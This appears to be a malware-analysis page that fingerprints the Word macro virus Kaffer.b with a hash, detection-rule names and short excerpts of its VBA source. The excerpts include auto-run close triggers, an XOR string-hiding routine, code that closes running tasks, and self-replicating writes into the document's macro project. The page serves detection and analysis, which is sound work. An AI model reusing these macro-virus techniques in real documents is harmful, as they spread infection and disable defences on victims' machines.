Benign Download

Virus.MSWord.Kaffer.b

VBScript XORs a character-code sliceVBScript extracts one character with Mid

SHA-2565143fc40383336eb9d09d2020d77e0d411d4630f6742852105a28031fd8af5fe

Evidence

VBScript End control-flow block line 267

267lse
Attribute VB_Customizable = False
Private Sub Kaffer()
End Sub
Private Sub Document_Close()
Dothis
End Sub
Private Sub AutoClose()
Dothis
End Sub
Private Function rndm(a)
Randomize Timer
rndm = Int(Rnd * a) + ((0 Xor 0 Xor 0) Xor 1)
End Function
Private Function spa()
Ran

English function-word token "for" line 5057

505740)
o = spa & Crypt("��������", 205)
P = spa: For oooo = 1 To rndm(6): tp = tp & Crypt(".??#&,.;& !a", 79): Next: P = P & Crypt("$:';s", 83) & tp

English function-word token "with" line 6924

6924, u, v, w, x, y, z, more, o)
For ki = 0 To 26
With ThisDocument: With .VBProject:
With .vbcomponents(1): With .codemodule
.insertlines ki + 2, v

VBScript XORs a character-code slice line 7128

7128
End Sub
Private Function Crypt(klo, key)
Crypt = ""
For i = 1 To Len(klo)
Crypt = Crypt & Chr(Asc(Mid(klo, i, 1)) Xor key)
Next
End Function
Private Sub Dothis()
On Error Resume Next
For i = 1 To Tasks.Count
If LCase(InStr(1, Tasks(i).Name, Crypt("lct", 2))) Then Tasks(i).Close
If LCase(InStr(1, Tasks

English function-word token "the" line 8623

8623.Kaffer by Vlam
' Dear AV
' I am currently on the VX side, but one day i will join you.